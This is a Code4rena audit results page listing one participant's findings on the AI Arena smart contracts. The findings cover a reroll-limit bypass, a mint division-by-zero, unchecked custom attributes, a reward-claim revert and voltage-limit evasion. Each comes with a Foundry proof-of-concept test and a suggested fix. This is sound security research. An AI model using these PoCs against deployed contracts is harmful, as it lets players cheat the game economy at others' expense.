AI Arena - Giorgio's results

In AI Arena you train an AI character to battle in a platform fighting game. Imagine a cross between PokΓ©mon and Super Smash Bros, but the characters are AIs, and you can train them to learn almost any skill in preparation for battle.

General Information

Platform: Code4rena

Start Date: 09/02/2024

Pot Size: $60,500 USDC

Total HM: 17

Participants: 283

Period: 12 days

Judge:

Id: 328

League: ETH

AI Arena

Findings Distribution

Researcher Performance

Rank: 182/283

Findings: 6

Award: $5.38

🌟 Selected for report: 0

πŸš€ Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/5b2ab9f9fadd0b91268ff6f22b4ae0fd5b79ec09/src/FighterFarm.sol#L370 https://github.com/code-423n4/2024-02-ai-arena/blob/5b2ab9f9fadd0b91268ff6f22b4ae0fd5b79ec09/src/FighterFarm.sol#L481

Vulnerability details

Overview

The owner of a fighter NFT is given the opportunity the reRoll the attributes the fighter has. However if the user inputs function reRoll(uint8 tokenId, uint8 fighterType) public { fighter type corresponding to dendroid instead of AX-bot, the owner will be able to predict the attributes rerolled, or even reroll more times than actually allowed.

Impact

This glitch holds significant consequences for the anticipated rarity of an NFT, as it allows easy acquisition of rare attributes. Consequently, the perceived rarity of an NFT initially designated as 'rarer' may be significantly diminished.

Moreover, in cases where NFT fighter types do not share equal reroll opportunities, the 'reroller' could surpass the maximum reroll limit imposed.

Proof of Concept

The number of reRolls a type of fighter has is directly correlated to his generation, for every generation increment a fighter type is granted one more max reroll. So fighter type 0 generation 1 will be allowed 4 max reRolls.

function incrementGeneration(uint8 fighterType) external returns (uint8) { require(msg.sender == _ownerAddress); @> generation[fighterType] += 1; maxRerollsAllowed[fighterType] += 1; return generation[fighterType]; }

In the reRoll function, the user is allowed to enter the fighter type, function reRoll(uint8 tokenId, uint8 fighterType) public {. This will allow him to reRoll more times than allowed if his generation number is below the other type of fighter. This is because the function doesn't check which fighter the user actually owns but which fighter he inputs. require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);

This vulnerability also introduces another problem, reRolling a type AX but with the argument dendroid instead of AX will make every physical attribute be equal to 0. This happens because the _createFighterBase() will be called with 1 instead of 0. The dna of the rerolled fighter will thus be 1, new dna. Further down the rolling process, createPhysicalAttributes is called with the new dna(1).

The rarity index

uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;

is derived from the dna, in our case, if the attributeToDnaDivisor[attributes[i]] is bigger than 1, the result will be 0, if attributeToDnaDivisor[attributes[i]] == 1, the rarity rank will be 1. Therefore dnaToIndex() will return 1 for every attribute.

In the coded POC below we can see that the user can reRoll 4 times although the max reRolls for his fighter should be 3. And if we do look at the console output using forge test --match-path ... -vvvv.

└─ ← FighterPhysicalAttributes({ head: 1, eyes: 1, mouth: 1, body: 1, hands: 1, feet: 1 })

We can see the following emitted event which confirms that the attributes will all be 1.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {FighterFarm} from "../src/FighterFarm.sol";
import {Neuron} from "../src/Neuron.sol";
import {AAMintPass} from "../src/AAMintPass.sol";
import {MergingPool} from "../src/MergingPool.sol";
import {RankedBattle} from "../src/RankedBattle.sol";
import {VoltageManager} from "../src/VoltageManager.sol";
import {GameItems} from "../src/GameItems.sol";
import {AiArenaHelper} from "../src/AiArenaHelper.sol";

// import {Utilities} from "./utils/Utilities.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

/// @notice Unit test for FighterFarm Contract.
contract FighterFarmTest is Test {
    // Utilities internal _utils;
    // address payable[] internal _users;

    /*//////////////////////////////////////////////////////////////
                                CONSTANTS
    //////////////////////////////////////////////////////////////*/

    uint8[][] internal _probabilities;
    address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0;
    address internal _ownerAddress;
    address internal _treasuryAddress;
    address internal _neuronContributorAddress;

    /*//////////////////////////////////////////////////////////////
                             CONTRACT INSTANCES
    //////////////////////////////////////////////////////////////*/

    FighterFarm internal _fighterFarmContract;
    AAMintPass internal _mintPassContract;
    MergingPool internal _mergingPoolContract;
    RankedBattle internal _rankedBattleContract;
    VoltageManager internal _voltageManagerContract;
    GameItems internal _gameItemsContract;
    AiArenaHelper internal _helperContract;
    Neuron internal _neuronContract;

    function getProb() public {
        _probabilities.push([25, 25, 13, 13, 9, 9]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 10]);
        _probabilities.push([25, 25, 13, 13, 9, 23]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 3]);
    }

        function setUp() public {
        // _utils = new Utilities();
        // _users = _utils.createUsers(5);
        _ownerAddress = address(this);
        _treasuryAddress = vm.addr(1);
        _neuronContributorAddress = vm.addr(2);
        getProb();

        _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress);

        _helperContract = new AiArenaHelper(_probabilities);

        _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS);
        _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
        _mintPassContract.setPaused(false);

        _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);

        _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract));

        _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);

        _rankedBattleContract = new RankedBattle(
            _ownerAddress, address(_fighterFarmContract), _DELEGATED_ADDRESS, address(_voltageManagerContract)
        );

        _rankedBattleContract.instantiateNeuronContract(address(_neuronContract));

        _mergingPoolContract =
            new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract));

        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
        _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract));
        _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract));
        _fighterFarmContract.instantiateNeuronContract(address(_neuronContract));
        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
    }
    function _fundUserWith4kNeuronByTreasury(address user) internal {
        vm.prank(_treasuryAddress);
        _neuronContract.transfer(user, 4_000 * 10 ** 18);
        assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true);
    }

    function _mintFromMergingPool(address to) internal {
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]);
    }
    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
        // Handle the token transfer here
        return this.onERC721Received.selector;
    }

    function test_reRollMoreThanAllowed() public {
       
        _fighterFarmContract.incrementGeneration(1); //so now type 1 has 4 rerolls but type 0 has 3, so if I get a gen 1 and reroll 4 times shouldn't be possible but it will be ;)
        //now I need a gen 0 fighter...
       _fighterFarmContract.addElToGen(1, 3); //Missing functionality to add a elemets to a generation, here we add 3 elements to gen 1 
        _mintFromMergingPool(_ownerAddress);
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
       _helperContract.addAttributeProbabilities(1 ,_probabilities);
        _neuronContract.addSpender(address(_fighterFarmContract));

        vm.startPrank(address(_ownerAddress));
        
        _fighterFarmContract.reRoll(0, 1);
        _fighterFarmContract.reRoll(0, 1);
        _fighterFarmContract.reRoll(0, 1);
        _fighterFarmContract.reRoll(0, 1);

        console.log(_fighterFarmContract.numRerolls(0));
        //although we should only be able to reRoll 3 times we reroll 4 times

    }

}

Tools Used

Manual review

Do not allow users to input the fighter type when rerolling. Fetch the data from the fighters mapping instead.


-- function reRoll(uint8 tokenId, uint8 fighterType) public {
++ function reRoll(uint8 tokenId) public {
++     fighterType = uint8(fighters[tokenId].dendroidBool);
        . . .

Assessed type

Invalid Validation

#0 - c4-pre-sort

2024-02-22T00:10:58Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-22T00:11:06Z

raymondfam marked the issue as duplicate of #305

#2 - c4-pre-sort

2024-02-22T01:04:54Z

raymondfam marked the issue as duplicate of #306

#3 - c4-judge

2024-03-05T04:31:19Z

HickupHH3 marked the issue as satisfactory

#4 - c4-judge

2024-03-19T09:05:07Z

HickupHH3 changed the severity to 3 (High Risk)

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/5b2ab9f9fadd0b91268ff6f22b4ae0fd5b79ec09/src/FighterFarm.sol#L87

Vulnerability details

Vulnerability details

The FighterFarm contract is missing the functionality to add number of elements to a new generation. The number of elements for the first generation is initiated through the constructor. The mapping(uint8 => uint8) public numElements; is updated through the constructor as such: numElements[0] = 3;. However when a generation will be incremented through incrementGeneration, there will be no way of updating the number of elements for the new generation. After firing incrementGeneration(), calls to mint the new generation will fail because it will lead to a division by 0 in the _createFighterBase function.

Impact

After incrementing the generation, it will be impossible to mint new fighter (only possible through the MergingPool, which doesn't allow dendroid minting)

Proof of Concept

This bit will revert if there the number of elements of a generation is 0. https://github.com/code-423n4/2024-02-ai-arena/blob/5b2ab9f9fadd0b91268ff6f22b4ae0fd5b79ec09/src/FighterFarm.sol#L479

    uint256 element = dna % numElements[generation[fighterType]];

Which will revert the whole minting process.

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Test, console} from "forge-std/Test.sol"; import {Vm} from "forge-std/Vm.sol"; import {FighterFarm} from "../src/FighterFarm.sol"; import {Neuron} from "../src/Neuron.sol"; import {AAMintPass} from "../src/AAMintPass.sol"; import {MergingPool} from "../src/MergingPool.sol"; import {RankedBattle} from "../src/RankedBattle.sol"; import {VoltageManager} from "../src/VoltageManager.sol"; import {GameItems} from "../src/GameItems.sol"; import {AiArenaHelper} from "../src/AiArenaHelper.sol"; import {FighterOps} from "../src/FighterOps.sol"; // import {Utilities} from "./utils/Utilities.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; /// @notice Unit test for FighterFarm Contract. contract FighterFarmTest is Test { // Utilities internal _utils; // address payable[] internal _users; /*////////////////////////////////////////////////////////////// CONSTANTS //////////////////////////////////////////////////////////////*/ uint8[][] internal _probabilities; address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0; address internal _ownerAddress; address internal _treasuryAddress; address internal _neuronContributorAddress; /*////////////////////////////////////////////////////////////// CONTRACT INSTANCES //////////////////////////////////////////////////////////////*/ FighterFarm internal _fighterFarmContract; AAMintPass internal _mintPassContract; MergingPool internal _mergingPoolContract; RankedBattle internal _rankedBattleContract; VoltageManager internal _voltageManagerContract; GameItems internal _gameItemsContract; AiArenaHelper internal _helperContract; Neuron internal _neuronContract; function getProb() public { _probabilities.push([25, 25, 13, 13, 9, 9]); _probabilities.push([25, 25, 13, 13, 9, 1]); _probabilities.push([25, 25, 13, 13, 9, 10]); _probabilities.push([25, 25, 13, 13, 9, 23]); _probabilities.push([25, 25, 13, 13, 9, 1]); _probabilities.push([25, 25, 13, 13, 9, 3]); } function setUp() public { // _utils = new Utilities(); // _users = _utils.createUsers(5); _ownerAddress = address(this); _treasuryAddress = vm.addr(1); _neuronContributorAddress = vm.addr(2); getProb(); _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress); _helperContract = new AiArenaHelper(_probabilities); _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS); _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract)); _mintPassContract.setPaused(false); _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress); _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract)); _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress); _rankedBattleContract = new RankedBattle( _ownerAddress, address(_fighterFarmContract), _DELEGATED_ADDRESS, address(_voltageManagerContract) ); _rankedBattleContract.instantiateNeuronContract(address(_neuronContract)); _mergingPoolContract = new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract)); _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract)); _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract)); _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract)); _fighterFarmContract.instantiateNeuronContract(address(_neuronContract)); _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract)); } function _fundUserWith4kNeuronByTreasury(address user) internal { vm.prank(_treasuryAddress); _neuronContract.transfer(user, 4_000 * 10 ** 18); assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true); } function _mintFromMergingPool(address to) internal { vm.prank(address(_mergingPoolContract)); _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]); } function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) { // Handle the token transfer here return this.onERC721Received.selector; } function test_mintAfterGenIncrement() public { _fighterFarmContract.incrementGeneration(0); uint8[2] memory numToMint = [1, 0]; bytes memory claimSignature = abi.encodePacked( hex"407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c" ); string[] memory claimModelHashes = new string[](1); claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory claimModelTypes = new string[](1); claimModelTypes[0] = "original"; // Right sender of signature should be able to claim fighter vm.expectRevert(); _fighterFarmContract.claimFighters(numToMint, claimSignature, claimModelHashes, claimModelTypes); }

The test above will give us the confidence that the minting will indeed revert due to a division or modulo by 0. ← panic: division or modulo by zero (0x12)

Tools Used

Manual review

To mitigate the issue add a function that will allow to add elements to a generation. Here below is an example of such function.

function addElToGen(uint8 gen, uint8 el) public { require(msg.sender == _ownerAddress); numElements[gen] = el; }

Assessed type

Other

#0 - c4-pre-sort

2024-02-22T18:25:35Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-22T18:25:49Z

raymondfam marked the issue as duplicate of #45

#2 - c4-judge

2024-03-07T06:53:30Z

HickupHH3 changed the severity to 3 (High Risk)

#3 - c4-judge

2024-03-07T06:55:46Z

HickupHH3 marked the issue as satisfactory

Awards

1.876 USDC - $1.88

Labels

bug
2 (Med Risk)
insufficient quality report
satisfactory
edited-by-warden
:robot:_30_group
duplicate-932

External Links

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/5b2ab9f9fadd0b91268ff6f22b4ae0fd5b79ec09/src/MergingPool.sol#L140-L165 https://github.com/code-423n4/2024-02-ai-arena/blob/5b2ab9f9fadd0b91268ff6f22b4ae0fd5b79ec09/src/FighterFarm.sol#L321-L339

Vulnerability details

Vulnerability details

Winners from MergingPool are granted an NFT as a prize, winners are given the liberty to pick the weight and elements, however these attributes can be well out of bounds and break the game. Given that when creating under normal condition the weight is calculated through this uint256 weight = dna % 31 + 65; bit, we can assume that the intended weight range is [65, 95]. But as mentioned before, if an NFT is minted through the mergePool, winners can claim nft's with any weight and elements even outside of normal bounds.

Impact

These NFTs affected by glitches have the potential to disrupt the game, presenting stats that the game's mechanics were not designed to accommodate.

Proof of Concept

Claiming rewards through the claimRewards() function allows for uint256[2][] calldata customAttributes to be input without restriction.

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Test, console} from "forge-std/Test.sol"; import {Vm} from "forge-std/Vm.sol"; import {FighterFarm} from "../src/FighterFarm.sol"; import {Neuron} from "../src/Neuron.sol"; import {AAMintPass} from "../src/AAMintPass.sol"; import {MergingPool} from "../src/MergingPool.sol"; import {RankedBattle} from "../src/RankedBattle.sol"; import {VoltageManager} from "../src/VoltageManager.sol"; import {GameItems} from "../src/GameItems.sol"; import {AiArenaHelper} from "../src/AiArenaHelper.sol"; import {FighterOps} from "../src/FighterOps.sol"; // import {Utilities} from "./utils/Utilities.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; /// @notice Unit test for FighterFarm Contract. contract FighterFarmTest is Test { // Utilities internal _utils; // address payable[] internal _users; /*////////////////////////////////////////////////////////////// CONSTANTS //////////////////////////////////////////////////////////////*/ uint8[][] internal _probabilities; address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0; address internal _ownerAddress; address internal _treasuryAddress; address internal _neuronContributorAddress; /*////////////////////////////////////////////////////////////// CONTRACT INSTANCES //////////////////////////////////////////////////////////////*/ FighterFarm internal _fighterFarmContract; AAMintPass internal _mintPassContract; MergingPool internal _mergingPoolContract; RankedBattle internal _rankedBattleContract; VoltageManager internal _voltageManagerContract; GameItems internal _gameItemsContract; AiArenaHelper internal _helperContract; Neuron internal _neuronContract; function getProb() public { _probabilities.push([25, 25, 13, 13, 9, 9]); _probabilities.push([25, 25, 13, 13, 9, 1]); _probabilities.push([25, 25, 13, 13, 9, 10]); _probabilities.push([25, 25, 13, 13, 9, 23]); _probabilities.push([25, 25, 13, 13, 9, 1]); _probabilities.push([25, 25, 13, 13, 9, 3]); } function setUp() public { // _utils = new Utilities(); // _users = _utils.createUsers(5); _ownerAddress = address(this); _treasuryAddress = vm.addr(1); _neuronContributorAddress = vm.addr(2); getProb(); _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress); _helperContract = new AiArenaHelper(_probabilities); _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS); _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract)); _mintPassContract.setPaused(false); _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress); _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract)); _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress); _rankedBattleContract = new RankedBattle( _ownerAddress, address(_fighterFarmContract), _DELEGATED_ADDRESS, address(_voltageManagerContract) ); _rankedBattleContract.instantiateNeuronContract(address(_neuronContract)); _mergingPoolContract = new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract)); _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract)); _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract)); _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract)); _fighterFarmContract.instantiateNeuronContract(address(_neuronContract)); _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract)); } function _fundUserWith4kNeuronByTreasury(address user) internal { vm.prank(_treasuryAddress); _neuronContract.transfer(user, 4_000 * 10 ** 18); assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true); } function _mintFromMergingPool(address to) internal { vm.prank(address(_mergingPoolContract)); _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]); } function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) { // Handle the token transfer here return this.onERC721Received.selector; } function test_weightAndElement() public { vm.prank(address(_mergingPoolContract)); _fighterFarmContract.mintFromMergingPool(_ownerAddress, "_neuralNetHash", "original", [uint256(99), uint256(10000)]); (uint256 weightOfFigher, , , , , , , ,) = _fighterFarmContract.fighters(0); console.log(weightOfFigher); }

This test above is all we need to confirm the fact that the weight and element restrictions are indeed missing.

Tools Used

Manuel reviews

If the weight or element aren't in the mandatory range, revert the transaction.

function mintFromMergingPool(
        address to, 
        string calldata modelHash, 
        string calldata modelType, 
        uint256[2] calldata customAttributes
    ) 
        public 
    {
        require(msg.sender == _mergingPoolAddress);
   ++     uint256 weight = customAttributesp[1]
   ++     uint256 el = customAttributesp[0]
   ++     require(weight <=95 && weight >= 65, "not in range");
   ++     require(el <= numElements[gen], "not in range");
        _createNewFighter(
            to, 
            uint256(keccak256(abi.encode(msg.sender, fighters.length))), 
            modelHash, 
            modelType,
            0, //@note only normal
            0, //@note what icon type ? 
            customAttributes 
        );
    }









## Assessed type

Invalid Validation

#0 - c4-pre-sort

2024-02-24T08:53:21Z

raymondfam marked the issue as insufficient quality report

#1 - c4-pre-sort

2024-02-24T08:53:35Z

raymondfam marked the issue as duplicate of #226

#2 - c4-judge

2024-03-11T10:22:51Z

HickupHH3 marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/5b2ab9f9fadd0b91268ff6f22b4ae0fd5b79ec09/src/FighterFarm.sol#L35 https://github.com/code-423n4/2024-02-ai-arena/blob/5b2ab9f9fadd0b91268ff6f22b4ae0fd5b79ec09/src/MergingPool.sol#L140-L146

Vulnerability details

Vulnerability details

At the end of each round, participants with the highest accumulated points will be designated as winners, earning them the opportunity to receive an NFT. However, there is a limit of 10 NFT rewards per address. Consequently, if a participant accumulates more than 10 unclaimed rewards, the transaction to claim the NFTs will revert.

Impact

User will not be able to claim NFT rewards .

Proof of Concept

Here, uint8 public constant MAX_FIGHTERS_ALLOWED = 10;, we can see that limit of NFTs per address is 10. The claimRewards function will loop through every round and mint claim the pending rewards of the caller. The issue is that if the caller happens to have more than 10 rewards pending the transaction will revert, and there is no way to input a claim range, so the NFTs are unclaimable. Here is a coded POC that proves the illustrates the scenario.

pragma solidity ^0.8.13; import {Test, console} from "forge-std/Test.sol"; import {Vm} from "forge-std/Vm.sol"; import {FighterFarm} from "../src/FighterFarm.sol"; import {Neuron} from "../src/Neuron.sol"; import {AAMintPass} from "../src/AAMintPass.sol"; import {MergingPool} from "../src/MergingPool.sol"; import {RankedBattle} from "../src/RankedBattle.sol"; import {VoltageManager} from "../src/VoltageManager.sol"; import {GameItems} from "../src/GameItems.sol"; import {AiArenaHelper} from "../src/AiArenaHelper.sol"; import {StakeAtRisk} from "../src/StakeAtRisk.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import {GasHelpers} from "./GasLeft.sol"; contract RankedBattleTest is Test { /*////////////////////////////////////////////////////////////// CONSTANTS //////////////////////////////////////////////////////////////*/ uint8[][] internal _probabilities; address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0; address internal constant _GAME_SERVER_ADDRESS = 0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C; address internal _ownerAddress; address internal _treasuryAddress; address internal _neuronContributorAddress; /*////////////////////////////////////////////////////////////// CONTRACT INSTANCES //////////////////////////////////////////////////////////////*/ FighterFarm internal _fighterFarmContract; AAMintPass internal _mintPassContract; MergingPool internal _mergingPoolContract; RankedBattle internal _rankedBattleContract; VoltageManager internal _voltageManagerContract; GameItems internal _gameItemsContract; AiArenaHelper internal _helperContract; Neuron internal _neuronContract; StakeAtRisk internal _stakeAtRiskContract; GasHelpers gasHelp; function getProb() public { _probabilities.push([25, 25, 13, 13, 9, 9]); _probabilities.push([25, 25, 13, 13, 9, 1]); _probabilities.push([25, 25, 13, 13, 9, 10]); _probabilities.push([25, 25, 13, 13, 9, 23]); _probabilities.push([25, 25, 13, 13, 9, 1]); _probabilities.push([25, 25, 13, 13, 9, 3]); } function setUp() public { _ownerAddress = address(this); _treasuryAddress = vm.addr(1); _neuronContributorAddress = vm.addr(2); getProb(); gasHelp = new GasHelpers(); _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress); _helperContract = new AiArenaHelper(_probabilities); _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS); _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract)); _mintPassContract.setPaused(false); _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress); _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract)); _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress); _rankedBattleContract = new RankedBattle( _ownerAddress, _GAME_SERVER_ADDRESS, address(_fighterFarmContract), address(_voltageManagerContract) ); _mergingPoolContract = new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract)); _stakeAtRiskContract = new StakeAtRisk(_treasuryAddress, address(_neuronContract), address(_rankedBattleContract)); _voltageManagerContract.adjustAllowedVoltageSpenders(address(_rankedBattleContract), true); _neuronContract.addStaker(address(_rankedBattleContract)); _neuronContract.addMinter(address(_rankedBattleContract)); _rankedBattleContract.instantiateNeuronContract(address(_neuronContract)); _rankedBattleContract.instantiateMergingPoolContract(address(_mergingPoolContract)); _rankedBattleContract.setStakeAtRiskAddress(address(_stakeAtRiskContract)); _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract)); _fighterFarmContract.addStaker(address(_rankedBattleContract)); _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract)); _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract)); _fighterFarmContract.instantiateNeuronContract(address(_neuronContract)); } function testClaimNRN() public { address claimee = vm.addr(3); address doomer = vm.addr(4); _mintFromMergingPool(claimee); _mergingPoolContract.updateWinnersPerPeriod(1); _fundUserWith4kNeuronByTreasury(claimee); vm.prank(claimee); _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, 0); // boostWins(); //claimee winzz a lot getPickedForManyRounds(); //claime rewards (uint256[2][] memory data1, string[] memory data2, string[] memory data3) = loopArray(); vm.startPrank(claimee); _rankedBattleContract.unstakeNRN(3_000 * 10 ** 18, 0); _fighterFarmContract.transferFrom(claimee, doomer, 0); vm.expectRevert(); _mergingPoolContract.claimRewards(data3, data2, data1); } /*///////////////////////claimee/////////////////////////////////////// HELPERS //////////////////////////////////////////////////////////////*/ /// @notice Helper function to mint an fighter nft to an address. function _mintFromMergingPool(address to) internal { vm.prank(address(_mergingPoolContract)); _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]); } /// @notice Helper function to fund an account with 4k $NRN tokens. function _fundUserWith4kNeuronByTreasury(address user) internal { vm.prank(_treasuryAddress); _neuronContract.transfer(user, 4_000 * 10 ** 18); assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true); } function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) { // Handle the token transfer here return this.onERC721Received.selector; } function getPickedForManyRounds() public { uint256[] memory _winners = new uint256[](1); _winners[0] = 0; for(uint256 i = 0; i < 11; i++) { _mergingPoolContract.pickWinner(_winners); vm.warp(block.timestamp + 1 days); vm.startPrank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); vm.startPrank(_ownerAddress); _rankedBattleContract.setNewRound(); vm.stopPrank(); } } function loopArray() public view returns (uint256[2][] memory data1, string[] memory _modelTypes, string[] memory _modelURIs) { data1 = new uint256[2][](11); _modelTypes = new string[](11); _modelURIs = new string[](11); for(uint96 i = 0; i < 11; i++) { data1[i][0] = uint256(1); data1[i][1] = uint256(80); _modelURIs[i] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelTypes[i] = "original"; } } }

In order to mitigate this issue, allow user to input a range for claims.


mapping(address user => (uint256 round => bool claimed)) roundsClaimed;
  ...

 function claimRewards(
  ++    uint256[] calldata roundIds,
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes 
    ) 
        external 
    {
++ uint256 loops
...

for (uint32 currentRound = roundIds[loops]; currentRound < roundIds.length; currentRound++) { 
...
++ if(roundsClaimed[msg.sender][roundIds[loops]] == true) continue;

++ roundsClaimed[msg.sender][roundIds[loops]] = true;
++ loops ++;

   }
...
}

Assessed type

Other

#0 - c4-pre-sort

2024-02-22T08:58:12Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-22T08:58:20Z

raymondfam marked the issue as duplicate of #216

#2 - c4-judge

2024-03-11T12:50:22Z

HickupHH3 marked the issue as satisfactory

Judge has assessed an item in Issue #979 as 3 risk. The relevant finding follows:

Deterministic minting allows users to revert the transaction if the NFT attributes don't match their expectations

#0 - c4-judge

2024-03-07T02:36:47Z

HickupHH3 marked the issue as duplicate of #53

#1 - c4-judge

2024-03-07T02:36:54Z

HickupHH3 marked the issue as partial-50

#2 - c4-judge

2024-03-15T02:10:54Z

HickupHH3 changed the severity to 2 (Med Risk)

#3 - c4-judge

2024-03-22T04:23:15Z

HickupHH3 marked the issue as duplicate of #376

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/5b2ab9f9fadd0b91268ff6f22b4ae0fd5b79ec09/src/RankedBattle.sol#L271-L291

Vulnerability details

Vulnerability Details

There is a voltage restriction in order to limit the amount of battles a user can initiate per address. Every user has 100 voltage granted each day and a game initiation costs 10 voltage, so a user is limited to 10 games each day. The issue is that a greedy player could unstake his NRN after having played 10 games and transfer it to another address to play 10 other games. This way the player will be able to maximize his stake in proportion to the amount of fighters he owns

Impact

An individual can effortlessly circumvent the game's restrictions, amassing rewards across multiple accounts with identical amounts of $NRN. This strategy leads to a dilution of points in favor of the abuser.

Proof of Concept

In order to achieve this the greedy player will have to have to play 10 games on an account, unstake, send $NRN to another account that holds another NFT to play with, play 10 more games. This game be repeated until the player is out of NFT's to play with.

Here is a coded scenario where the player is able to accumulate wins on two different account with the same stake.

